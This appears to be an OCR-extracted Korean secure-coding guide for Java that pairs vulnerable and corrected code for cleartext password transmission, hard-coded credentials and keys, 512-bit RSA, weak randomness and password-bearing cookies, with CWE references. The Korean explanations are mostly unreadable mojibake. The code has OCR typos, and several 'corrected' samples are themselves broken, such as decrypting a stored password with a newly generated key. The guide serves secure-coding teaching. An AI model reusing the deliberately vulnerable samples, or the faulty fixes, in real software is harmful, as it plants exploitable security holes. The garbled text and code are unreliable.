4 {

5: Socket socket = new Socket("taranis", 4444);

6 PrintWriter out = new PrintWriter(socket.getOutputStream(), true);
7 String password = getPassword();
8 out.write(password);
9

}

HM2&E Hot7|s »
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10: catch (FileNotFoundException e)
11: {
12:

g2 Zte HAY=EE YEYIE 53t AW AEsr] He dass

skt
B aAF Z=9 o - JAVA
1:  void foo()
2
3 try
4 {
5: Socket socket = new Socket("taranis", 4444);
6 PrintStream out = new PrintStream(socket.getOutputStream(), true);
7 Cipher ¢ = Cipher.getInstance("AES/CBC/PKCS5Padding");
8 String password = getPassword();
9: encryptedStr= c.update(password.getBytes());
10: out.write(encryptedStr,0,encryptedStr.length);
11: }
12: catch (FileNotFoundException e) {

o] =
[¢)

2 THF ARgAe] WA E FRVE FEoE DBl ARE

o

13:  String username = request.getParameter("username");
14:  String password = request.getParameter("password");
15:  PreparedStatement p=null;

16:  try

17 |

18 ...

19: if (username==nill || password==null || lisAuthenticatedUser(usename, password))
20: {

21: throw new MyException("?1% ©ll21");

22: }

23: p = conn.prepareStatement("INSERT INTO employees VALUES(?,?)");

24: p-setString(1,username);

25: p-setString(2,password);
26: Pp-execute();

27:

28: |}
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13:  String username = request.getParameter("username");

14:  String password = request.getParameter("password");

15:  PreparedStatement p=null;

16:  try

17: |

18 .

19: if (username==nill || password==null || !isAuthenticatedUser(usename, password))

20: { =
21: throw new MyException("?1% °ll2]"); l\;
22: } 0=
23 MessageDigest md = MessageDigest.getInstance("SHA-256");

24: md.reset();

25 >
26 /) W=E=E &4 FE o838t DBl ARRIT. 4u
27: password =md.digest(password.getBytes()); ﬁ
28: p = conn.preparedStatement("INSERT INTO employees VALUES(?,?)"); on
29: p-setString(1,username); —Z—
30: p-setString(2,password); n
31: Pp-execute();

320 .

33}

ASS THIE AHSALY] 29 E JRIE FEo2 F)o AR

1:  import java.io.IOException;

2:  import java.sql.Connection;

3:  import java.sql.Statement;

4:  import java.util.regex.Matcher;

5. import java.util.regex.Pattern;

6:  import javax.servlet.ServletException;

7:  import javax.servlet.annotation.WebServlet;

8:  import javax.servlet.http.HttpServlet;

9:  import javax.servlet.http.HttpServletRequest;

10:  import javax.servlethttp.HttpServletResponse;

11: /**

12:  * Servlet implementation class Sqllnjection

13 */

14:  public class SqllnjectionSample extends HttpServlet
150 {

16:  private final String COMMAND_PARAM = "command";
17:
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18:
19:
20:
21:
22:
23:

24:
25:
26:
27:
28:
29:
30:
31:

33:
34:
35:
36:
37:
38:
39:
40:

// Command & “g<]

private final String LOGIN_CMD = "login";

private final String USER_ID_PARM = "user_id";
private final String PASSWORD_PARM = "password";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws

ServletException, IOException

{

String command = request.getParameter("command");
if (command.equals(LOGIN_CMD))

{
String userld = request.getParameter(USER_ID_PARM);
String password = request.getParameter(PASSWORD_PARM);

Cookie idCookie = new Cookie("id", userld);
Cookie passwordCookie = new Cookie("password", password);

response.addCookie(idCookie);
response.addCookie(passwordCookie);
}
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o

1:  import java.io.IOException;

2:  import java.sql.Connection;

3:  import java.sql.Statement;

4:  import java.util.regex.Matcher;

5. import java.util.regex.Pattern;

6:  import javax.servlet.ServletException;

7:  import javax.servlet.annotation.WebServlet;

8:  import javax.servlet.http.HttpServlet;

9:  import javax.servlet.http.HttpServletRequest;

10:  import javax.servlet.http.HttpServletResponse;

1. /*

12:  * Servlet implementation class Sqllnjection

13 %/

14:  public class SqllnjectionSample extends HttpServlet
15: {

16: private final String COMMAND_PARAM = "command";
Hot7ls



17:

18:  // Command #¥ %o

19:  private final String LOGIN_CMD = "login";

20:  private final String USER_ID_PARM = "user_id";

21:  private final String PASSWORD_PARM = "password";

22:

23:  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

24:

25: String command = request.getParameter("command"); =
26: if (command.equals(LOGIN_CMD)) N
w7 (0)al

28: String userld = request.getParameter(USER_ID_PARM);
29: String password = request.getParameter(PASSWORD_PARM);

30:
31: Cookie idCookie = new Cookie("id", userld); ﬁ
32: Cookie passwordCookie = new Cookie("password", password); =2
33: (!)'JE_I
34: idCookie.setSecure(true); N
35: passwordCookie.setSecure(true); §
36: In
37: response.addCookie(idCookie);
38: response.addCookie(passwordCookie);
39: }
40:
41.  }
42:
43: }

il

[1] CWE-311 Missing Encryption of Sensitive Data,
http:/ /cwe.mitre.org/data/ definitions/311.html
[2] CWE-312 Cleartext Storage of Sensitive Information,
http:/ /cwe.mitre.org/data/definitions/312.html
[3] CWE-319 Cleartext Transmission of Sensitive Information,
http:/ /cwe.mitre.org/data/ definitions/319.html
[4] CWE-614 Sensitive Cookie in HTTPS Session Without ‘Secure’ Attribute,
http:/ /cwe.mitre.org/ data/definitions/614.html
[5] 2011 SANS Top 25 - RANK 8 (CWE-311) http://cwe.mitre.org/top25/
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7t A9
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MASIS
"tiger”

ot=3g

@ nuIJII(:E Connection DBConnect(String url, String id) { .
try

conn=_DriverManager getConnection({url, 1d. “figer'X;|

} catch (SQLException €] {

. System.err.printin("..");

return conm;

<19 2-14> =3 d Y=

i <t
. s3}ste] Mol wol] Agstal A} 3k Zlo] nig i,
= SW A3 A AHgdE OFE J 295, 7] 5L = WA " 22O RES
o] AFE A} AR AEe) gy 712 AYEIEER A S

Qo2 A

3 ZF 7Y
s

[e) p
)\_41:__ %
29
=

ﬂJ

>
OPO
Ol
o

o} oAl
dolelulo) 28 Adsh) SAstel = ol A Fejz Hold W2 =g AHEHE
zzagel Akde o1 & stk

1:  public class connectDB

2. |

3: private Connection conn;

4:

5: public Connection DBConnect(String url, String id)
6: {

7: try

8: {

9: // password’} SFE-FE EofQ)th

10: conn = DriverManager.getConnection(url, id, "tiger");
11: }
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12: catch (SQLException e)

13: {

14: System.err.println("...");
15: }

16: return conn;

17: }

18: }

doleulo] 28 sk Z2ad A4 A HAYSE THE 242 mE FASK
Folxl 2xol ot} AFH 1S AU

Sl

B 373 7=9] o - JAVA

1:  public class connectDB
2. |
3: public  Connection connect(Properties props) throws NoSuchAlgorithmException, >
NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException Hu
o 2
5 try on
6 { =
7: String url = props.getProperty("url"); Igﬂ
8 String id = props.getProperty("id");
9 String pwd = props.getProperty("passwd");
10:
11: /7915 27 Sl M A9 ES T, s} ol Sl=Al Al=stal e
12: if (url = null && !"".equals(url) && id != null && !".equals(id) && pwd != null
&&  !".equals(pwd))
13: {
14: KeyGenerator kgen = KeyGenerator.getInstance("Blowfish");
15: SecretKey skey = kgen.generateKey();
16: byte[] raw = skey.getEncoded();
17: SecretKeySpec skeySpec = new SecretKeySpec(raw, "Blowfish");
18:
19: Cipher cipher = Cipher.getInstance("Blowfish");
20: cipher.init(Cipher. DECRYPT_MODE, skeySpec);
21: byte[] decrypted_pwd = cipher.doFinal(pwd.getBytes());
22: pwd = new String(decrypted_pwd);
23: conn = DriverManager.getConnection(url, id, pwd);
24: }
25: }
26: catch (SQLException e)
27: {
08 e

DB Connection 24| E 44T o, HZE A A AFsHe AAHES AHEsta ok

W2 E=rh 29 ol st= s E o] glof o =EEr] Hoh
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—

Connection con = DriverManager.getConnection(url, "scott", "tiger");

catch (SQLException e)

{
throw new MyException("DB Il 21”);

Y P NG RNy
—-—

22 =2 mkstores A&t DB A& dzststo] ARG

B 2783 759 o - JAVA

1:  /* mkstore -wrl /mydir -createCredential MyTNSName some_user some_pass-
word */

2 try

3 |

4: System.setProperty("oracle.net.tns_admin", "/mydir");

5: java.util. Properties info = new java.util.Properties();

6: // DB AL {13 AL oracle 7%5S AHERITH

7: info.put("oracle.net.wallet_location",

8: "(SOURCE=(METHOD-=file)( METHOD_DATA=(DIRECTORY=/mydir)))");

9: OracleDataSource ds = new OracleDataSource();

10: ds.setURL("jdbc:oracle:thin:@MyTNSName");

11: ds.setConnectionProperties(info);

12: Connection conn = ds.getConnection();

13: 1}

14:  catch (SQLException e)

150 {

16: throw new MyException('DB | 2]“);

17: 1}

ool dAlE 13 @A oA RIS flE ZE wiFel 4 FEE Fojd
2EE ARt FHofde WAAZIAL Ut
: public class VerifyUser

{

1

2

3 public boolean VerifyAdmin(String password)

4: {

5 if (password.equals("68af404b513073584c4b6{22b6c63e6b"))
6 {

7

System.out.println("Entering Diagnostic Mode...");
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8: return true;
9: }

10: else

11: {

12: return false;
13: }

14: }

15}

B B3 Beld Aol SAANA 2 BolA WA WA WES AN 2119,
s ADE 2T S A7} Gk SN 1RA B2 s A3 BRe 4AF
ol FolH o} Al NS A7 & ek

Sl

B aAF 7=9] 9 - JAVA

1:  public class VerifyUser >
2 42“
3 public boolean VerifyAdmin(String password) kU
4 { oo
5: String adminPassword = loadPassword(ADMIN); —Z—
6 if (password.equals(adminPassword)) |_n
7 {

8 System.out. println("Entering Diagnostic Mode...");

9: return true;

10: }

11: else

12: {

13: return false;

14: }

15: }

16: }

2 Fa 23
[1] CWE-259 Use of Hard-coded Password, http://cwe.mitre.org/data/definitions/259.html
[2] CWE-321 Use of Hard-coded Cryptographic Key, hitp://cwe.mitre.org/data/definitions/321.html
[3] CWE-798 Use of Hard-coded Credentials, http://cwe.mitre.org/data/definitions/798 html
[4] 2011 SANS Top 25 - RANK 7 (CWE-798), http://cwe.mitre.org/top25/
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7. T85IA] &2 7] do] A&(Insufficient Key Size)

7k A
Aot e AE AgSHE A
- 35}01] Agsicd A3
A e g AT A 7
)¢

5o dAle 2bgo] A7 RSA g FS ARl E sk, 7] dols

Fomn zeaPe] Hepde oy Aol

A7)

public void target() throws NoSuchAlgorithmException

{
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");

2
3
4
5: // Key generator®] =383 7] 27|
6 keyGen.initialize(512);

7 KeyPair myKeys = keyGen.generateKeyPair();
8

Ao sle] ARSSE 719 Aol Aol 2048HIE o] o 2 ARt

B aAF 7=9] 9 - JAVA

1T e
2:  public void target() throws NoSuchAlgorithmException

3

4: KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
5: // Key generator®] 2 34 2048bit= A gt

6 keyGen.initialize(2048);

7 KeyPair myKeys = keyGen.generateKeyPair();

8}
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029 dAEs dESE 7P A 4TIl RSA + OARP o2 gashy Ao
t}. Cipher.getInstancel So)7h= FAdol whe} Faslel] 22 dnejS5S =4S + Utk o
=9 dede 7P AEt 2420 OARPEFS AR5 Th generator.initialize(2048, random);
oA 719] ZolE 248HIER 3| ZA HAAH Yee FAT F itk

o

B 933 Z=9 4 - JAVA

1:  import java.io.lOException;
2:  import java.sql.Connection;
3:  import java.sql.Statement;
4:  import java.util.regex. Matcher; >
5:  import java.util.regex.Pattern; ;
6:  import javax.servlet.ServletException; oz
7:  import javax.servlet.annotation.WebServlet;
8:  import javax.servlet.http.HttpServlet;
9:  import javax.servlet.http.HttpServletRequest; o
10:  import javax.servlet.http.HttpServletResponse; ﬂ
11:  import java.security.Key; 2
12:  import java.security.KeyPair; (!)'JEJ
13:  import java.security. KeyPairGenerator; N
14:  import java.security.SecureRandomy =)
15:  import java.security.Security; In
16:  import javax.crypto.Cipher;
17:
18 /**
19:  * Servlet implementation class Sqllnjection
20.  */
21:  public class Service extends HttpServlet
22: |
23:  private final String COMMAND_PARAM = "command';
24:
25:  // Command &# A<
26: private final String CHANGE_PASSWORD_CMD = "get_user_info';
27: private final String USER_ID_PARM = "user_id";
28:  private final String PASSWORD_PARM = "password";
29: private final String NEW_PASSWORD_PARM = "new_password";
30:
31:  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
32:
33: String command = request.getParameter("command");
34: if (command.equals(CHANGE_PASSWORD_CMD))
35: {
36: String userld = request.getParameter(USER_ID_PARM);
37: String password = request.getParameter(PASSWORD_PARM);
38: String newPassword = request.getParameter(NEW_PASSWORD_PARM);
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39:

40:

41: SecureRandom random = new SecureRandom();

42: KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
43: generator.initialize(2048, random);

44: KeyPair pair = generator.generateKeyPair();

45: Key pubKey = pair.getPublic();

46: Key privKey = pair.getPrivate();

47:

48: Cipher cipher = Cipher.getInstance("RSA/ECB/OAEP");

49: cipher.init(Cipher. ENCRYPT_MODE, pubKey, random);

50: byte[] cipherText = cipher.doFinal(newPassword.getBytes());
51:

52: ChangeUserPassword(userld, String(cipherText));

53: }

54:

55.  }

56:

57: '}

Z Fx 24
[1] CWE-310 Cryptographic Issues, http://cwe.mitre.org/data/definitions/310.html
[2] 2010 OWASP Top 10 - A7 Insecure Cryptographic Storage
https:/ /www.owasp.org/index.php/Top_10_2010-A7
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8. HA3IA| &2 ¢ Ft AMHE(Use of Insufficiently Random Values)

A% 5T U4E ASSE e Axdel Hebde FEAD. % BASE £74
b BER RN A JFed G5B ASVTE, FAAE SWelH A4HE B £

Sl

E A, CollAl& rand() W4l randomize(seed) € AH8-31H= Zo] Eth AlA 1D,
37l & RHebAAS ¥ @Es A4Sty EEAS FsteE Ae

java.security. SecureRandom Z#2~5 A-8-gtc}.

o} oA

javalangMath Z&]|229] random() WAE+E seedS AEAT & §l7] wliel <

)
gg
uj
Slolc BEElY

public double roledice()

{
return Math.random();

java.utilRandom S 2=E seedE ALAQSHA otz v & G4F AT ot

4 Random =5 AHE5te Zlo] it kst

B 3783 7T o - JAVA
1:  import java.util Randomy;

2:  import java.util. Date;

4 public int roledice()

5 {

6: Random r = new Random();

7: // setSeed() MIAEE AREEIA 1S dF B7FsT longEFY o2 AAgIth
8 r.setSeed(new Date().getTime());

9: /] G A

10: return (r.nextInt()%6) + 1;
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59| dAle RSAUZILE s7] A, IAN7IS AJANE Bk Sl Ad =45 ®
ol HAoA Lt WY T2 SecureRandom()S AH8-3t3L 31t} SecureRandom()

o Hebg FRF o £ BAo AP YHS BHOE AFHE Frolk

B aAF F=9] o - JAVA
SecureRandom random = new SecureRandom();
KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");

generator.initialize(2048, random);

I

KeyPair pair = generator.generateKeyPair();
Key pubKey = pair.getPublic();
Key privKey = pair.getPrivate();

Cipher cipher = Cipher.getInstance("RSA/ECB/OAEP");
cipher.init(Cipher. ENCRYPT_MODE, pubKey, random);
10: byte[] cipherText = cipher.doFinal(newPassword.getBytes());

2 F3 Bd
[1] CWE-330 Use of Insufficiently Random Values, http://cwe.mitre.org/data/definitions/330.html
[2] J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems
the Right Way". 2002.
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S o9tk BAAH HYol YEOT WAYES A, BALH HUel HEL + I
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ALgate] BelHol Aok Bk WA EE AANYe] s A9 H2YEE sy
A ke AHE AReA =9, 45k o%el AHHos sed @4l Atk web
MAAEE A ART S b WEel Agad AAAG FEshE Ae= Ageoior
.

= 5 A glo] 2 A9 EE String FH IUE dolEHo]~E
AAst=d ARSI Aok ARRATE A4 gl 348 98 EAE S A A, =2
2

1:  import java.sql*;

2:  import java.util.Properties;

3:  import java.io.*;

4:  public class getAuth

5 |

6: public void connectDB(String url, String name) throws IOException

7 {

8: Connection con = null;

9: try

10: {

11: Properties props = new Properties();

12: FileInputStream in = new FilelnputStream("External.properties");
13: byte[] pass = new byte[8];

14: // €15 FYZHE passwordE $1=Th

15: in.read(pass);

16: // password”} DB connection®] QIAPAGZ 0|2 ARgo] Hrh
17: con = DriverManager.getConnection(url, name, new String(pass));
18: con.close();

19: }

20: catch (SQLException e)

21: {

22: System.err. println("SQLException Occured ");

23: }

24: finally

H2&E H2oty|s
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25: {

26: try

27: {

28: if (con != null)
29: con.close();

30: }

31: catch (SQLException e)
32: {

33: System.err.println("SQLException Occured ");
34: }

35: }

36: }

37. }

goln QYR WAHEE g Ao Bsl F AHgHolok T,

rr

B AT 3=9] ¢ - JAVA

import java.sql.*;
import java.util. Properties;

import java.io.”;

{

1

2

3

4:  public class getAuth
5

6 public void connectDB(String[] args) throws IOException
7

{
8: Connection con = null;
9: try
10: {
11: Properties props = new Properties();
12: FileInputStream in = new FileInputStream("External.properties");
13: props.load(in);
14: String url = props.getProperty("url");
15: String name = props.getProperty('name");
16: // A5 FLZHE passwordE ¢ § E53} gt
17: String pass = decrypt(props.getProperty("password"));
18; /) 9% AR REe] HrlcE BEsh T ALST.
19: con = DriverManager.getConnection(url, name, pass);
20: }
21: catch (SQLException e)
22: {
23: System.err. println("SQLException Occured ");
24: }
25: finally
26: {
27: try
28: {

148 <« H|2H




29: if (con != null)

30: con.close();

31: }

32: catch (SQLException e)

33: {

34: System.err.println("SQLException Occured ");
35: }

36: }

38:  }

Sl

o] dAE @ESe P FEg ASAARJ] RSA + OAEP 2o ¢3sstd =
Tolt}. Cipher.getnstancedl] Eol7t= Aol wet tastel] »d dugEFs =AY +
Atk TS| dolxe 7P AEE 5420 OAEPEYS AHE-shaith

>~
B 333 3=9 o - JAVA Ju
1:  import java.io.lOException; ﬁ
2:  import java.sql.Connection; on
3:  import java.sql.Statement; —Z—
4:  import java.util.regex. Matcher; |_n
5:  import java.util.regex.Pattern;
6:  import javax.servlet.ServletException;
7:  import javax.servlet.annotation.WebServlet;
8:  import javax.servlet.http.HttpServlet;
9:  import javax.servlet.http.HttpServletRequest;
10:  import javax.servlet.http.HttpServletResponse;
11:  import java.security.Key;
12:  import java.security.KeyPair;
13:  import java.security. KeyPairGenerator;
14:  import java.security.SecureRandomy
15:  import java.security.Security;
16:  import javax.crypto.Cipher;
17
18 /**
19:  * Servlet implementation class Sqllnjection
20. ¥/
21:  public class Service extends HttpServlet
22: |
23:  private final String COMMAND_PARAM = "command";
24:
25:  // Command ¥ A<
26:  private final String CHANGE_PASSWORD_CMD = "get_user_info";
27: private final String USER_ID_PARM = "user_id";
28:  private final String PASSWORD_PARM = "password';
29: private final String NEW_PASSWORD_PARM = "new_password';
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30:
31:  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

32 {

33: String command = request.getParameter("command");

34: if (command.equals(CHANGE_PASSWORD_CMD))

35: {

36: String userld = request.getParameter(USER_ID_PARM);

37: String password = request.getParameter(PASSWORD_PARM);

38: String newPassword = request.getParameter(NEW_PASSWORD_PARM);
39:

40:

41: SecureRandom random = new SecureRandom();

42: KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
43: generator.initialize(2048, random);

44: KeyPair pair = generator.generateKeyPair();

45: Key pubKey = pair.getPublic();

46: Key privKey = pair.getPrivate();

47:

48: Cipher cipher = Cipher.getInstance("RSA/ECB/OAEP");
49: cipher.init(Cipher.ENCRYPT_MODE, pubKey, random);
50: byte[] cipherText = cipher.doFinal(newPassword.getBytes());

52: ChangeUserPassword(userld, String(cipherText));
53: }

g F1 &3
[1] CWE-256 Plaintext Storage of Password, http://cwe.mitre.org/data/ definitions/256.html
[2] J. Viega and G. McGraw. "Building Secure Software: How to Avoid Security Problems
the Right Way". 2002.
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10. St=3 =% ¢53} 7](Use of Hard-coded Cryptographic Key)

7F A9
SE YRo) HEICH GBS Agel YEAE FYSA FEskd YRt HE
2 7Fs o] Eohith B SW ARAZe] mE Wre] nYH A2ASe] HHE A
sfo Ashe Aol ALASE oholFel FAARNE HEY & oty Wa Yok g
b e 4l @550l 9A4] JbsatH, Aol bruteforce FANE HSTHE 2
Tefsfobt ek

mlo

Y. kA3 IY7IY
n AESEAEEE HAYEE o] R =2 a3 Uil AAste] AMgShH ehkEIt)
3y ¢ae]Z0F AFS, ARIA, SEED, 3DES 59] ARgo] dawn, H|thAy daglZos
RSA ARE-A| 7]5= 204801 -5 ARS-3HCY. dll4] <= MD4, MDb, SHA1-> AR8-31A] Holok gt

Sl

=
o oAl >
FEslel] AgHE 718 de] FHR T el Agshs e Zaw st u
wEHE A9 458 AR SAC EHE A 7 Aok N
=)
W e s | ;
T e
2: private Connection con;
3:
4: public String encryptString (String usr)
5: {
6: Stringc seed = "68af404b513073584c4b6£22b6c63e6b";
7:
8: try
9: {
10: /] &R AolE GEIIE 0]838tY encaryptE FHIITH
11: SecretKeySpec skeySpec = new SecretKeySpec(seed.getBytes(), "AES");
12:
15 /) NG FE) Aure] gEs mE B58 9T 79
14:
15: }
16: catch (SQLException e)
17: {
18 e
19: }
20: return con;
21: }
22}
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T e
2: private Connection con;

3:

4: public String encryptString (String usr)

5: {

6: Stringe seed = null;

7:

8: try

9: {

10: // ¥E3 71E RN ¢l

11: seed = getPassword("/password.ini");

12: // ¥53tE 453 715 Bk

13: seed = decrypt(seed);

14: /] TR Aeld 43S o838t encrypts TH I

15: // use key coss2

16: SecretKeySpec skeySpec = new SecretKeySpec(seed.getBytes(), "AES");
17:

18: [/ AT FE3T] ko] 4EE mE 553 fF 73
19:

20: }

21: catch (SQLException e) {

o e

23: }

24 return con;

25: }

26:  }

27:

t}8-9] A= RSA+OAEPY 1T &

o
% 7]% SecureRandom®|2}= HZgE Hokdo] el dAHSGFZEE FEI A=E
gog AAAET .

B AT I=9] o - JAVA

import java.io.IOException;
import java.sql.Connection;
import java.sql.Statement;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;
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40:
41:
42:
43:
44:
45:
46:
47
48:
49:
50:
51:

import javax.servlet.http.HttpServlet;

import javax.servlet.http. HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.security Key;

import java.security.KeyPair;

import java.security. KeyPairGenerator;
import java.security.SecureRandom;

import java.security.Security;

import javax.crypto.Cipher;

/‘k*

* Servlet implementation class Sqllnjection
*/

public class Service extends HttpServlet

{
private final String COMMAND_PARAM = "command";

// Command #& “g<]

private final String CHANGE_PASSWORD_CMD = "get_user_info";
private final String USER_ID_PARM = "user_id";

private final String PASSWORD_PARM = "password";

private final String NEW_PASSWORD_PARM = "new_password";

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException
{
String command = request.getParameter("command");
if (command.equals(CHANGE_PASSWORD_CMD))
{
String userld = request.getParameter(USER_ID_PARM);
String password = request.getParameter(PASSWORD_PARM);
String newPassword = request.getParameter(NEW_PASSWORD_PARM);

SecureRandom random = new SecureRandom();

KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
generator.initialize(2048, random);

KeyPair pair = generator.generateKeyPair();

Key pubKey = pair.getPublic();

Key privKey = pair.getPrivate();

Cipher cipher = Cipher.getInstance("RSA/ECB/OAEP");
cipher.init(Cipher.ENCRYPT_MODE, pubKey, random);
byte[] cipherText = cipher.doFinal(newPassword.getBytes());

H2&E H2oty|s
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52: ChangeUserPassword(userld, String(cipherText));
53: }

54:

55}

56:

57}

2 F3 #£d
[1] CWE-321 Use of Hard-coded Cryptographic Key, http://cwe.mitre.org/data/definitions/321.html
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11. kg 9|29 = 3]-8-(Weak Password Requirements)

7+ 9
AEAOA AT AU ZRFAS aTEA oW AgH Aol Akl Hn,
HAG ALASE A ANAE A/ BA/ EFEAE 2T 9xte] oo AR
alloF gt
240
Password:
12345678501234567890123 )
Sniinuep r;;;.z::::busduﬂmunl_nmhusa.mdh ] n
==

- 1 12345678901234567890123

HAERE
<9 2-15> FH g A= &

| 28 20 AFS AR MA@ 2UD)E 249 JEA, S5
A 5 EFSe] 92 oo Fsta, BIUE 18] o) F/1HOR WA AEE

)
ofl
i
E

NG 5 g gRdgozry

AgEE Bl

T(passwd)’t HF IA o] Hxg=w

1:  public void doPost(HttpServletRequest request, HttpServletResponse response) throws
IOException, ServletException

2. |

3: try

4: {

5: String url = "DBServer";

6: String usr = "Scott";

7:

8: // passwdell tig 50| 5

9: String passwd = request.getParameter("passwd");

10: Connection con = DriverManager.getConnection(url, usr, passwd);

11:

12: con.close();

13: }

14: catch (SQLException e)

15: {

16: System.err.printin("...");

17: }

18 }

HM2&E Hot7|s »
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A8 AR BEI U A A, AAYE BT AF F K

ofy
ro
E
il

.

B A% Z=9 ¢ - JAVA

N

26:
27:
28:
29:
30:

private static final String CONNECT_STRING = "jdbc:ocl:orcl";

public void doPost(HttpServletRequest request, HttpServletResponse response) throws
IOException, ServletException
{

try

{
request.getSession().invalidate();

String passwd = request.getParameter("passwd");

// passwdell tigt HZ

if (passwd == null || "".equals(passwd)) return;

/] A=A 2 FHE AN F, 9D A5 AW L 8T

if (Password.validate(passwd) == false) return;

InitialContext ctx = new InitialContext();
DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);

Connection con = datasource.getConnection();

con.close();

}
catch (SQLException e)

{
System.err.printIn("...");
}
catch (NamingException e)
{

System.err.println("...");

2 Fa 4
[1] CWE-521 Weak Password Requirements, http://cwe.mitre.org/data/definitions/521.html

[2] 2010 OWASP Top 10 - A3 Broken Authentication Session Management
https:/ /www.owasp.org/index.php/Top_10_2010-A3
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12. AH&AF stEf 2T AAEE F7)|E2 53 A HxZF(Information
Through Persistent Cookies)

7t A9

oiFEe] g S8 IA FIE wEE ] A58, Hepex]e] ddo] FREW

Arepzith 22Ot dete A9, BEeA Al #Agle] ALHoR AAHEE
AT & 3lom, o]AL T V|EHI thy HEkA AlAo] AFEHAS o vE

of 2xHTh MAFR, ASHR Fo

AAE F7 A2 5 e 2o §

G420 F7(persistent Cookie)oll AA-HTtH, T
32 7131 7HAA =W, ols Al='lE FHefetA W

rid

Sl

+
O

b3 Y7

7o WRAIZTS AlAdo]l ALHE AXE ddste] Hador dAHsia GE5HQ F

-

7lol= AHEA A3 55, AAID7E THA FE=F Ik =T

H

Al

o} oA on
javax.servlet.http.Cookie.setMaxAge ™A= FEo 9F2] o] 7)o FaAN A —Z—

In

Aol T AHgEol Z2 el Hepe oblshe Bgolth

1T e
2:  public void makeCookie(ServletRequest request)

3

4 String maxAge = request.getParameter("maxAge");

5: if (maxAge.matches("[0-9]+"))

6 {

7 String sessionID = request.getParameter("'sesionID");

8 if (sessionlD.matches("[A-Z=0-9a-z]+"))

9 {

10: Cookie ¢ = new Cookie("sessionID", sessionID);

11: // 9 SiEe] 7] FEAR Al OtE A HAth
12: c.setMaxAge(Integer.parselnt(maxAge));

13: }

14 e

15}

AR 243 oz F7)9] FEATS AAFr] Mol AMEAR 2
AL W7 245, it & Ho T&3r)

)

Az

fr
Ht

B aA3 7=9] 9 - JAVA

2:  public void makeCookie(ServletRequest request)
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3. |

4 String maxAge = request.getParameter('maxAge");

5

6: if (maxAge == null || "".equals(maxAge)) return;

7 if (maxAge.matches("[0-9]+"))

8 {

9 String sessionID = request.getParameter(''sesionID");
10: if (sessionID == null || "'.equals(sessionlD)) return;
11: if (sessionlD.matches("[A-Z=0-9a-z]+"))

12: {

13: Cookie ¢ = new Cookie("sessionID", sessionID);
14: // 7 FEARS AviE AAsA, 1 okl greE =AY
15: int t = Integer.parselnt(maxAge);

16: if (t > 3600)

17: {

18: t = 3600;

19: }

20: c.setMaxAge(t);

21: }

0. e

23:. |}

javax.servlet.http.Cookie.setMaxAge MAZ S&ol| 79 FEAT HAL
ARGt ZEOge] Hope oprlshe Afolth

1:  import java.io.lOException;

2:  import java.sql.Connection;

3:  import java.sql.Statement;

4:  import java.util.regex. Matcher;

5. import java.util.regex.Pattern;

6:  import javax.servlet.ServletException;

7:  import javax.servlet.annotation.WebServlet;

8:  import javax.servlethttp.HttpServlet;

9:  import javax.servlet.http.HttpServletRequest;
10:  import javax.servlet.http.HttpServletResponse;
11 /*

12:  * Servlet implementation class Sqllnjection
13 */

14:  public class Service extends HttpServlet

15: |

16:  private final String COMMAND_PARAM = "command';
17:

18: // Command ¥#&# A9
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19:  private final String LOGIN_CMD = "login";

20: private final String USER_ID_PARM = "user_id";

21:  private final String PASSWORD_PARM = "password";

22:

23 protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

24: |

25: String command = request.getParameter("command");
26: if (command.equals(LOGIN_CMD))

27: {

28: String userld = request.getParameter(USER_ID_PARM);
29: String password = request.getParameter(PASSWORD_PARM);

Sl

30:

31: Cookie idCookie = new Cookie("id", userld);

32: Cookie passwordCookie = new Cookie("password", password); -

33: u

34 idCookiesetMaxAge(60 * 60); //AH&7t EH3HA WE=E YUsHA cookie A4 A7 =2
% I

35: passwordCookie.setMaxAge(60 * 60); N

36: §

37: idCookie.setSecure(true); In

38: passwordCookie.setSecure(true);

39:

40: response.addCookie(idCookie);

41: response.addCookie(passwordCookie);

42: }

43:

44:

45:

46:  }

2o Al A= setMaxAge#t S &E A BebeATE | e Fetddrt 2F
e Ag ol&ste], 20k 219 ojd 5L = FFE AAHA stk (BILokk
Al ZA F7) 2, g2 od FE5LS S F7)9 setMaxAgeE SFE AA)

l

B aAEE 7=9 o - JAVA

import java.ioIOException;

import java.sql.Connection;

import java.sql.Statement;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;

R AR SR S e
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160 <« H2H

10:  import javax.servlet.http.HttpServletResponse;

11 /*

12:  * Servlet implementation class Sqllnjection

13: ¥/

14:  public class Service extends HttpServlet

150 {

16: private final String COMMAND_PARAM = "command";

17:

18: // Command ¥ A9

19:  private final String LOGIN_CMD = "login";

20:  private final String LOGOUT_CMD = "logout";

21:  private final String OTHER_ACTION_CMD = "other_action";

22:  private final String USER_ID_PARM = "user_id";

23:  private final String PASSWORD_PARM = "password";

24:

25:  protected void doPost(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException

26: |

27: String command = request.getParameter("command");

28: if (command.equals(LOGIN_CMD))

29: {

30: String userld = request.getParameter(USER_ID_PARM);

31 String password = request.getParameter(PASSWORD_PARM);

32:

33: Cookie idCookie = new Cookie("id", userld);

34: Cookie passwordCookie = new Cookie("password", password);

35:

36: idCookie.setMaxAge(-60 * 2); // E&9A FTEA, MHAHEE 35 o=z dAsla,
AHEAY Al AFESIoFRt cookie?t AAE EE AR FETh

37 passwordCookie.setMaxAge(-60 * 2);

38:

